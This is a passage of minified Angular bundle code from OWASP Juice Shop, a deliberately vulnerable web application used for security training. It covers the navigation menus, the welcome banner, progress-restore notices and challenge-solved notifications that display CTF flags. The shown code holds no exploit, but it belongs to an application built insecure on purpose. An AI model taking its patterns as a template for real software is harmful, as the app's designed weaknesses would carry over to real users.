page"],["mat-menu-item","","routerLink","/recycle","aria-label","Go to recycling page"],["mat-menu-item","","routerLink","/address/saved","aria-label","Go to saved address page",4,"ngIf"],["mat-menu-item","","routerLink","/saved-payment-methods","aria-label","Go to saved payment methods page",4,"ngIf"],["mat-menu-item","","routerLink","/wallet","aria-label","Go to wallet page",4,"ngIf"],["mat-menu-item","","routerLink","/login","aria-label","Go to login page","id","navbarLoginButton"],["mat-menu-item","","aria-label","Go to user profile",3,"click"],["mat-menu-item","","routerLink","/accounting","aria-label","Go to accounting page"],["mat-menu-item","","aria-label","Show Orders and Payment Menu",3,"matMenuTriggerFor"],["mat-menu-item","","aria-label","Show Privacy and Security Menu",3,"matMenuTriggerFor"],["mat-menu-item","","aria-label","Logout","id","navbarLogoutButton",3,"click"],["mat-button","","routerLink","/basket","aria-label","Show the shopping cart",1,"buttons",2,"height","48px"],[1,"fa-layers-counter","fa-layers-top-right","fa-3x","warn-notification",2,"font-size","47px"],[1,"mat-menu-item",2,"width","240px",3,"value","checked","aria-label","click"],[2,"display","inline-block","width","200px","margin-left","5px"],[3,"class",4,"ngFor","ngForOf"],["mat-menu-item","","routerLink","/address/saved","aria-label","Go to saved address page"],["mat-menu-item","","routerLink","/saved-payment-methods","aria-label","Go to saved payment methods page"],["mat-menu-item","","routerLink","/wallet","aria-label","Go to wallet page"]],template:function(e,o){if(1&e){const i=t.EpF();t.TgZ(0,"mat-toolbar",0)(1,"mat-toolbar-row",1)(2,"button",2),t.NdJ("click",function(){return o.onToggleSidenav()}),t.ALo(3,"translate"),t.TgZ(4,"mat-icon"),t._uU(5,"menu"),t.qZA()(),t.TgZ(6,"button",3),t._UZ(7,"img",4),t.TgZ(8,"span",5),t._uU(9),t.qZA()(),t._UZ(10,"span",6),t.TgZ(11,"mat-search-bar",7,8),t.NdJ("onEnter",function(){t.CHM(i);const l=t.MAs(12);return t.KtG(o.search(l.value))}),t.qZA(),t.TgZ(13,"button",9)(14,"i",10),t._uU(15," account_circle "),t.qZA(),t.TgZ(16,"span"),t._uU(17),t.ALo(18,"translate"),t.qZA()(),t.TgZ(19,"mat-menu",null,11),t.YNc(21,dp,6,3,"button",12),t.YNc(22,mp,5,1,"button",13),t.YNc(23,gp,6,3,"button",14),t.YNc(24,hp,6,4,"button",15),t.YNc(25,_p,6,4,"button",16),t.YNc(26,fp,6,3,"button",17),t.qZA(),t.YNc(27,Cp,8,4,"button",18),t.TgZ(28,"button",19),t.ALo(29,"translate"),t.TgZ(30,"mat-icon"),t._uU(31," language "),t.qZA(),t.TgZ(32,"span",20),t._uU(33),t.qZA()(),t.TgZ(34,"mat-menu",21,22),t.YNc(36,xp,5,7,"mat-radio-button",23),t.qZA(),t.TgZ(37,"mat-menu",null,24)(39,"button",25)(40,"mat-icon"),t._uU(41," assignment "),t.qZA(),t.TgZ(42,"span",26),t._uU(43,"TITLE_PRIVACY_POLICY"),t.qZA()(),t.TgZ(44,"button",27)(45,"mat-icon"),t._uU(46," get_app "),t.qZA(),t.TgZ(47,"span",26),t._uU(48,"TITLE_REQUEST_DATA_EXPORT"),t.qZA()(),t.TgZ(49,"button",28),t.NdJ("click",function(){return o.goToDataErasurePage()}),t.TgZ(50,"mat-icon"),t._uU(51," delete_forever "),t.qZA(),t.TgZ(52,"span",26),t._uU(53,"DATA_SUBJECT_TITLE"),t.qZA()(),t._UZ(54,"mat-divider"),t.TgZ(55,"button",29)(56,"mat-icon"),t._uU(57," edit "),t.qZA(),t.TgZ(58,"span",26),t._uU(59,"TITLE_CHANGE_PASSWORD"),t.qZA()(),t.TgZ(60,"button",30)(61,"mat-icon"),t._uU(62," exposure_plus_2 "),t.qZA(),t.TgZ(63,"span",26),t._uU(64,"TITLE_TWO_FACTOR_AUTH_CONFIG"),t.qZA()(),t.TgZ(65,"button",31)(66,"mat-icon"),t._uU(67," place "),t.qZA(),t.TgZ(68,"span",26),t._uU(69,"LAST_LOGIN_IP"),t.qZA()()(),t.TgZ(70,"mat-menu",null,32)(72,"button",33)(73,"mat-icon"),t._uU(74," archive "),t.qZA(),t.TgZ(75,"span"),t._uU(76),t.ALo(77,"translate"),t.qZA()(),t.TgZ(78,"button",34)(79,"mat-icon"),t._uU(80," autorenew "),t.qZA(),t.TgZ(81,"span"),t._uU(82),t.ALo(83,"translate"),t.qZA()(),t._UZ(84,"mat-divider"),t.YNc(85,bp,6,3,"button",35),t.YNc(86,Tp,6,3,"button",36),t.YNc(87,Ap,6,3,"button",37),t.qZA()()()}if(2&e){const i=t.MAs(20),r=t.MAs(35);t.xp6(2),t.s9C("matTooltip",t.lcZ(3,28,"SIDENAV_HINT")),t.xp6(5),t.s9C("alt",o.applicationName),t.Q6J("src",o.logoSrc,t.LSH),t.xp6(2),t.hij(" ",o.applicationName," "),t.xp6(4),t.Q6J("matMenuTriggerFor",i),t.xp6(4),t.hij(" ",t.lcZ(18,30,"ACCOUNT")," "),t.xp6(4),t.Q6J("ngIf",!o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()&&o.isAccounting()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.s9C("matTooltip",t.lcZ(29,32,"LANGUAGE_SEL_HINT")),t.Q6J("matMenuTriggerFor",r),t.xp6(5),t.hij(" ",o.shortKeyLang," "),t.xp6(1),t.Q6J("overlapTrigger",!0),t.xp6(2),t.Q6J("ngForOf",o.languages),t.xp6(3),t.Q6J("routerLink",t.DdM(38,yp)),t.xp6(5),t.Q6J("routerLink",t.DdM(39,Zp)),t.xp6(11),t.Q6J("routerLink",t.DdM(40,wp)),t.xp6(5),t.Q6J("routerLink",t.DdM(41,Sp)),t.xp6(5),t.Q6J("routerLink",t.DdM(42,kp)),t.xp6(11),t.hij(" ",t.lcZ(77,34,"LABEL_ORDER_HISTORY")," "),t.xp6(6),t.hij(" ",t.lcZ(83,36,"NAV_RECYCLE")," "),t.xp6(3),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn())}},dependencies:[h.sg,h.O5,U.rH,u.Pi,p.xw,$.b8,yt.Ye,yt.rD,F.Hw,x.lW,z.d,Q.gM,Ft.VK,Ft.OP,Ft.p6,en.w5,nt.U0,u.X$],styles:["mat-toolbar[_ngcontent-%COMP%]{height:auto;min-width:100%;padding-bottom:5px;width:100%}.mat-button[_ngcontent-%COMP%]{padding-left:8px;padding-right:8px}.logo[_ngcontent-%COMP%]{max-height:60px;width:auto}.avatar[_ngcontent-%COMP%]{background-repeat:no-repeat no-repeat;border-radius:50%;display:inline-block;max-height:35px;max-width:35px;padding:0;pointer-events:none}.fill-remaining-space[_ngcontent-%COMP%]{flex:1 1 auto}.language-select[_ngcontent-%COMP%]{margin-left:10px;width:11%} .mat-select-value-text{font-size:15px}.user-info[_ngcontent-%COMP%]{margin-left:10px;margin-right:10px}.fi[_ngcontent-%COMP%]{margin-right:2px}[_nghost-%COMP%] mat-form-field{background:transparent!important}[_nghost-%COMP%] mat-icon{background:transparent!important}mat-search-bar[_ngcontent-%COMP%]{font-size:13px;margin-right:14px}.buttons[_ngcontent-%COMP%]{width:auto}@media screen and (max-width: 959px){.buttons[_ngcontent-%COMP%]{width:48px}}[_nghost-%COMP%] .mat-form-field-infix{max-width:250px!important;width:14vw!important}"]}),n})();function Op(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",4),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.startHackingInstructor())}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3," school "),t.qZA(),t.TgZ(4,"span",5),t._uU(5,"BTN_GETTING_STARTED"),t.qZA()()}2&n&&t.Q6J("matTooltip",t.lcZ(1,1,"SCORE_BOARD_HACKING_INSTRUCTOR"))}function Up(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",6),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.closeWelcome())}),t.TgZ(1,"mat-icon"),t._uU(2," visibility_off "),t.qZA(),t.TgZ(3,"span",7),t._uU(4,"BTN_DISMISS"),t.qZA()()}}let Lp=(()=>{class n{constructor(e,o,i){this.dialogRef=e,this.configurationService=o,this.cookieService=i,this.title="Welcome to OWASP Juice Shop",this.message="<p>Being a web application with a vast number of intended security vulnerabilities, the <strong>OWASP Juice Shop</strong> is supposed to be the opposite of a best practice or template application for web developers: It is an awareness, training, demonstration and exercise tool for security risks in modern web applications. The <strong>OWASP Juice Shop</strong> is an open-source project hosted by the non-profit <a href=\'https://owasp.org\' target=\'_blank\'>Open Web Application Security Project (OWASP)</a> and is developed and maintained by volunteers. Check out the link below for more information and documentation on the project.</p><h1><a href=\'https://owasp-juice.shop\' target=\'_blank\'>https://owasp-juice.shop</a></h1>",this.showHackingInstructor=!0,this.showDismissBtn=!0,this.welcomeBannerStatusCookieKey="welcomebanner_status"}ngOnInit(){this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.welcomeBanner&&(this.title=e.application.welcomeBanner.title,this.message=e.application.welcomeBanner.message),this.showHackingInstructor=e?.hackingInstructor?.isEnabled,this.showHackingInstructor&&e?.challenges?.restrictToTutorialsFirst&&(this.dialogRef.disableClose=!0,this.showDismissBtn=!1)},e=>{console.log(e)})}startHackingInstructor(){this.closeWelcome(),console.log(\'Starting instructions for challenge "Score Board"\'),Promise.resolve().then(c.bind(c,1096)).then(e=>{e.startHackingInstructorFor("Score Board")})}closeWelcome(){this.dialogRef.close();const e=new Date;e.setFullYear(e.getFullYear()+1),this.cookieService.put(this.welcomeBannerStatusCookieKey,"dismiss",{expires:e})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.so),t.Y36(b.e),t.Y36(I.N_))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-welcome-banner"]],decls:8,vars:4,consts:[[1,"mat-typography"],[1,"text-justify",3,"innerHtml"],["mat-raised-button","","color","warn","matTooltipPosition","above",3,"matTooltip","click",4,"ngIf"],["mat-raised-button","","class","close-dialog","color","primary","aria-label","Close Welcome Banner",3,"click",4,"ngIf"],["mat-raised-button","","color","warn","matTooltipPosition","above",3,"matTooltip","click"],["fxShow","","fxHide.lt-lg","","translate",""],["mat-raised-button","","color","primary","aria-label","Close Welcome Banner",1,"close-dialog",3,"click"],["fxShow","","fxHide.lt-sm","","translate",""]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"h1")(2,"span"),t._uU(3),t.qZA()(),t._UZ(4,"div",1),t.TgZ(5,"div"),t.YNc(6,Op,6,3,"button",2),t.YNc(7,Up,5,0,"button",3),t.qZA()()),2&e&&(t.xp6(3),t.Oqu(o.title),t.xp6(1),t.Q6J("innerHtml",o.message,t.oJD),t.xp6(2),t.Q6J("ngIf",o.showHackingInstructor),t.xp6(1),t.Q6J("ngIf",o.showDismissBtn))},dependencies:[h.O5,u.Pi,$.b8,F.Hw,x.lW,Q.gM,u.X$],styles:[".text-justify[_ngcontent-%COMP%]{text-align:justify;text-justify:inter-word}[_nghost-%COMP%] h1 a{font-size:20px}[_nghost-%COMP%] strong{font-style:italic}"]}),n})(),Pp=(()=>{class n{constructor(e,o,i){this.dialog=e,this.configurationService=o,this.cookieService=i,this.welcomeBannerStatusCookieKey="welcomebanner_status"}ngOnInit(){"dismiss"!==this.cookieService.get(this.welcomeBannerStatusCookieKey)&&this.configurationService.getApplicationConfiguration().subscribe(o=>{o?.application?.welcomeBanner&&!o.application.welcomeBanner.showOnFirstStart||this.dialog.open(Lp,{minWidth:"320px",width:"35%",position:{top:"50px"}})},o=>{console.log(o)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.uw),t.Y36(b.e),t.Y36(I.N_))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-welcome"]],decls:1,vars:0,template:function(e,o){1&e&&t._UZ(0,"div")},styles:[".welcome-style[_ngcontent-%COMP%] .mat-dialog-container[_ngcontent-%COMP%]{margin-left:auto;margin-right:auto;max-width:50%;min-width:320px}"]}),n})();function Np(n,a){1&n&&(t.TgZ(0,"span",2),t._uU(1,"RESTART_REQUIRED"),t.qZA())}function Ep(n,a){1&n&&(t.TgZ(0,"span",2),t._uU(1,"RESET_HACKING_PROGRESS"),t.qZA())}function Mp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-card",1),t._UZ(1,"mat-card-header"),t.TgZ(2,"mat-card-content")(3,"span",2),t._uU(4,"NOTIFICATION_SERVER_STARTED"),t.qZA(),t._uU(5),t.TgZ(6,"button",3),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.closeNotification())}),t._uU(7,"X"),t.qZA(),t.TgZ(8,"button",4),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.clearProgress())}),t.TgZ(9,"mat-icon"),t._uU(10," delete_forever "),t.qZA(),t.YNc(11,Np,2,0,"span",5),t.YNc(12,Ep,2,0,"span",5),t.qZA()()()}if(2&n){const e=t.oxw();t.xp6(5),t.hij(": ",e.hackingProgress.autoRestoreMessage,"\\xa0"),t.xp6(3),t.Q6J("disabled",e.hackingProgress.cleared),t.xp6(3),t.Q6J("ngIf",e.hackingProgress.cleared),t.xp6(1),t.Q6J("ngIf",!e.hackingProgress.cleared)}}let Dp=(()=>{class n{constructor(e,o,i,r,l,m){this.ngZone=e,this.challengeService=o,this.translate=i,this.cookieService=r,this.ref=l,this.io=m,this.hackingProgress={}}ngOnInit(){this.ngZone.runOutsideAngular(()=>{this.io.socket().on("server started",()=>{const e=this.cookieService.get("continueCode"),o=this.cookieService.get("continueCodeFindIt"),i=this.cookieService.get("continueCodeFixIt");e&&this.challengeService.restoreProgress(encodeURIComponent(e)).subscribe(()=>{this.translate.get("AUTO_RESTORED_PROGRESS").subscribe(r=>{this.hackingProgress.autoRestoreMessage=r},r=>{this.hackingProgress.autoRestoreMessage=r})},r=>{console.log(r),this.translate.get("AUTO_RESTORE_PROGRESS_FAILED",{error:r}).subscribe(l=>{this.hackingProgress.autoRestoreMessage=l},l=>{this.hackingProgress.autoRestoreMessage=l})}),o&&this.challengeService.restoreProgressFindIt(encodeURIComponent(o)).subscribe(()=>{},r=>{console.log(r)}),i&&this.challengeService.restoreProgressFixIt(encodeURIComponent(i)).subscribe(()=>{},r=>{console.log(r)}),this.ref.detectChanges()})})}closeNotification(){this.hackingProgress.autoRestoreMessage=null}clearProgress(){this.cookieService.remove("continueCode"),this.cookieService.remove("continueCodeFixIt"),this.cookieService.remove("continueCodeFindIt"),this.cookieService.remove("token"),sessionStorage.removeItem("bid"),sessionStorage.removeItem("itemTotal"),localStorage.removeItem("token"),localStorage.removeItem("displayedDifficulties"),localStorage.removeItem("showSolvedChallenges"),localStorage.removeItem("showDisabledChallenges"),localStorage.removeItem("showOnlyTutorialChallenges"),localStorage.removeItem("displayedChallengeCategories"),this.hackingProgress.cleared=!0}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(t.R0b),t.Y36(ot),t.Y36(u.sK),t.Y36(I.N_),t.Y36(t.sBO),t.Y36(st))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-server-started-notification"]],decls:1,vars:1,consts:[["class","container primary-notification mat-elevation-z4",4,"ngIf"],[1,"container","primary-notification","mat-elevation-z4"],["translate",""],["id","closeButton","mat-button","",3,"click"],["mat-stroked-button","",3,"disabled","click"],["translate","",4,"ngIf"]],template:function(e,o){1&e&&t.YNc(0,Mp,13,4,"mat-card",0),2&e&&t.Q6J("ngIf",o.hackingProgress.autoRestoreMessage)},dependencies:[h.O5,u.Pi,F.Hw,x.lW,T.a8,T.dk,T.dn],styles:[".container[_ngcontent-%COMP%]{font-size:14px;margin:40px}#closeButton[_ngcontent-%COMP%]{float:right}"]}),n})(),qp=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer}getCountryMapping(){return this.http.get(this.hostServer+"/rest/country-mapping").pipe((0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function Fp(n,a){if(1&n&&(t._UZ(0,"span"),t.ALo(1,"lowercase")),2&n){const e=t.oxw(2).$implicit;t.Gre("fi fi-",t.lcZ(1,3,e.country.code),"")}}function Bp(n,a){1&n&&(t.TgZ(0,"mat-icon"),t._uU(1,"my_location"),t.qZA())}function Rp(n,a){if(1&n&&(t.TgZ(0,"span"),t._uU(1),t.qZA()),2&n){const e=t.oxw(2).$implicit;t.xp6(1),t.hij(" ",e.country.name," ")}}function Yp(n,a){if(1&n&&(t.TgZ(0,"span",5),t.YNc(1,Fp,2,5,"span",8),t.YNc(2,Bp,2,0,"mat-icon",9),t._uU(3,"\\xa0 "),t.YNc(4,Rp,2,1,"span",9),t.qZA()),2&n){const e=t.oxw(2);t.xp6(1),t.Q6J("ngIf","flag"===e.showCtfCountryDetailsInNotifications||"both"===e.showCtfCountryDetailsInNotifications),t.xp6(1),t.Q6J("ngIf","name"===e.showCtfCountryDetailsInNotifications),t.xp6(2),t.Q6J("ngIf","name"===e.showCtfCountryDetailsInNotifications||"both"===e.showCtfCountryDetailsInNotifications)}}function Jp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-card",2)(1,"div"),t._uU(2),t.TgZ(3,"button",3),t.NdJ("click",function(i){const l=t.CHM(e).index,m=t.oxw();return t.KtG(m.closeNotification(l,i.shiftKey))}),t._uU(4,"X"),t.qZA()(),t._UZ(5,"br"),t.TgZ(6,"div",4)(7,"span",5)(8,"mat-icon"),t._uU(9,"outlined_flag"),t.qZA(),t._uU(10),t.qZA(),t._uU(11,"\\xa0 "),t.TgZ(12,"button",6),t.NdJ("cbOnSuccess",function(){const r=t.CHM(e).$implicit;return t.KtG(r.copied=!0)}),t.TgZ(13,"mat-icon"),t._uU(14,"content_copy"),t.qZA(),t.TgZ(15,"span",4),t._uU(16),t.ALo(17,"translate"),t.qZA(),t.TgZ(18,"span",4),t._uU(19),t.ALo(20,"translate"),t.qZA()(),t._UZ(21,"br"),t.YNc(22,Yp,5,3,"span",7),t.qZA()()}if(2&n){const e=a.$implicit,o=t.oxw();t.xp6(2),t.Oqu(e.message),t.xp6(4),t.Q6J("hidden",!o.showCtfFlagsInNotifications),t.xp6(4),t.hij(" ",e.flag,""),t.xp6(2),t.Q6J("cbContent",e.flag)("disabled",e.copied),t.xp6(3),t.Q6J("hidden",!e.copied),t.xp6(1),t.Oqu(t.lcZ(17,10,"COPY_SUCCESS")),t.xp6(2),t.Q6J("hidden",e.copied),t.xp6(1),t.Oqu(t.lcZ(20,12,"COPY_TO_CLIPBOARD")),t.xp6(3),t.Q6J("ngIf","none"!==o.showCtfCountryDetailsInNotifications)}}let Qp=(()=>{class n{constructor(e,o,i,r,l,m,v,A){this.ngZone=e,this.configurationService=o,this.challengeService=i,this.countryMappingService=r,this.translate=l,this.cookieService=m,this.ref=v,this.io=A,this.notifications=[],this.showCtfFlagsInNotifications=!1,this.showCtfCountryDetailsInNotifications="none"}ngOnInit(){this.ngZone.runOutsideAngular(()=>{this.io.socket().on("challenge solved",e=>{e?.challenge&&(e.hidden||this.showNotification(e),e.isRestore||(this.saveProgress(),e.hidden||c.e(103).then(c.bind(c,8103)).then(o=>{o.shootConfetti()})),this.io.socket().emit("notification received",e.flag))})}),this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.ctf&&(this.showCtfFlagsInNotifications=!!e.ctf.showFlagsInNotifications&&e.ctf.showFlagsInNotifications,e.ctf.showCountryDetailsInNotifications?(this.showCtfCountryDetailsInNotifications=e.ctf.showCountryDetailsInNotifications,"none"!==e.ctf.showCountryDetailsInNotifications&&this.countryMappingService.getCountryMapping().subscribe(o=>{this.countryMap=o},o=>{console.log(o)})):this.showCtfCountryDetailsInNotifications="none")})}closeNotification(e,o=!1){o?(this.ngZone.runOutsideAngular(()=>{this.io.socket().emit("verifyCloseNotificationsChallenge",this.notifications)}),this.notifications=[]):this.notifications.splice(e,1),this.ref.detectChanges()}showNotification(e){this.translate.get("CHALLENGE_SOLVED",{challenge:e.challenge}).toPromise().then(o=>o,o=>o).then(o=>{let i;this.showCtfCountryDetailsInNotifications&&"none"!==this.showCtfCountryDetailsInNotifications&&(i=this.countryMap[e.key]),this.notifications.push({message:o,flag:e.flag,country:i,copied:!1}),this.ref.detectChanges()})}saveProgress(){this.challengeService.continueCode().subscribe(e=>{if(!e)throw new Error("Received invalid continue code from the server!");const o=new Date;o.setFullYear(o.getFullYear()+1),this.cookieService.put("continueCode",e,{expires:o})},e=>{console.log(e)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(t.R0b),t.Y36(b.e),t.Y36(ot),t.Y36(qp),t.Y36(u.sK),t.Y36(I.N_),t.Y36(t.sBO),t.Y36(st))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-challenge-solved-notification"]],decls:2,vars:1,consts:[[1,"container","challenge-solved-toast","mat-elevation-z4"],["class","accent-notification",4,"ngFor","ngForOf"],[1,"accent-notification"],["id","closeButton","mat-button","",3,"click"],[3,"hidden"],[1,"icon-box"],["ngxClipboard","","mat-stroked-button","",3,"cbContent","disabled","cbOnSuccess"],["class","icon-box",4,"ngIf"],[3,"class",4,"ngIf"],[4,"ngIf"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0),t.YNc(1,Jp,23,14,"mat-card",1),t.qZA()),2&e&&(t.xp6(1),t.Q6J("ngForOf",o.notifications))},dependencies:[h.sg,h.O5,tn.yb,F.Hw,x.lW,T.a8,h.i8,u.X$],styles:[".container[_ngcontent-%COMP%]{font-size:14px;margin:40px}mat-card[_ngcontent-%COMP%]{margin-bottom:10px}#closeButton[_ngcontent-%COMP%]{float:right}.icon-box[_ngcontent-%COMP%]{display:inline-flex;vertical-align:middle}"]}),n})();var Zt=c(6338);function Hp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",36),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.onToggleSidenav())}),t.TgZ(1,"mat-icon"),t._uU(2," exit_to_app "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"TITLE_LOGIN")," "))}function Gp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",37),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return i.onToggleSidenav(),t.KtG(i.goToProfilePage())}),t.TgZ(1,"mat-icon"),t._uU(2," account_circle "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(4),t.hij(" ",e.userEmail," ")}}function jp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",38),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.onToggleSidenav())}),t.TgZ(1,"mat-icon"),t._uU(2," account_balance "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"ACCOUNTING")," "))}const nn=function(n){return{rotated:n}};function Kp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-list-item",39),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.showOrdersSubmenu=!i.showOrdersSubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," check_circle_outline "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA(),t.TgZ(6,"mat-icon",40),t._uU(7," expand_more "),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(4),t.hij(" ",t.lcZ(5,2,"ORDERS_AND_PAYMENT")," "),t.xp6(2),t.Q6J("ngClass",t.VKq(4,nn,e.showOrdersSubmenu))}}function Wp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",47),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showOrdersSubmenu=!i.showOrdersSubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," archive "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"LABEL_ORDER_HISTORY")," "))}function zp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",48),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showOrdersSubmenu=!i.showOrdersSubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," autorenew "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"NAV_RECYCLE")," "))}function $p(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",49),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showOrdersSubmenu=!i.showOrdersSubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," my_location "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"MY_SAVED_ADRESSES")," "))}function Vp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",50),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showOrdersSubmenu=!i.showOrdersSubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," credit_card "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"MY_PAYMENT_OPTIONS")," "))}function Xp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",51),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showOrdersSubmenu=!i.showOrdersSubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," account_balance_wallet "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"DIGITAL_WALLET")," "))}const on=function(n){return{expanded:n}};function td(n,a){if(1&n&&(t.TgZ(0,"div",41),t.YNc(1,Wp,6,3,"a",42),t.YNc(2,zp,6,3,"a",43),t._UZ(3,"mat-divider"),t.YNc(4,$p,6,3,"a",44),t.YNc(5,Vp,6,3,"a",45),t.YNc(6,Xp,6,3,"a",46),t.qZA()),2&n){const e=t.oxw();t.Q6J("ngClass",t.VKq(6,on,e.showOrdersSubmenu)),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(2),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",e.isLoggedIn())}}function ed(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-list-item",52),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.showPrivacySubmenu=!i.showPrivacySubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," security "),t.qZA(),t.TgZ(3,"span",14),t._uU(4),t.ALo(5,"translate"),t.qZA(),t.TgZ(6,"mat-icon",40),t._uU(7," expand_more "),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(4),t.hij(" ",t.lcZ(5,2,"PRIVACY_AND_SECURITY")," "),t.xp6(2),t.Q6J("ngClass",t.VKq(4,nn,e.showPrivacySubmenu))}}function nd(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",59),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showPrivacySubmenu=!i.showPrivacySubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," assignment "),t.qZA(),t.TgZ(3,"span",60),t._uU(4,"TITLE_PRIVACY_POLICY"),t.qZA()()}}function od(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",61),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showPrivacySubmenu=!i.showPrivacySubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," get_app "),t.qZA(),t.TgZ(3,"span",60),t._uU(4,"TITLE_REQUEST_DATA_EXPORT"),t.qZA()()}}function ad(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",62),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return t.KtG(i.goToDataErasurePage())})("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showPrivacySubmenu=!i.showPrivacySubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," delete_forever "),t.qZA(),t.TgZ(3,"span",60),t._uU(4,"DATA_SUBJECT_TITLE"),t.qZA()()}}function id(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"a",63),t.NdJ("click",function(){t.CHM(e);const i=t.oxw(2);return i.onToggleSidenav(),t.KtG(i.showPrivacySubmenu=!i.showPrivacySubmenu)}),t.TgZ(1,"mat-icon"),t._uU(2," edit "),t.qZA(),t.TgZ(3,"span",60),t._uU(4,"TITLE_CHANGE_PASSWORD"),t.qZA()()}}function rd(n,a){if(1&n){const 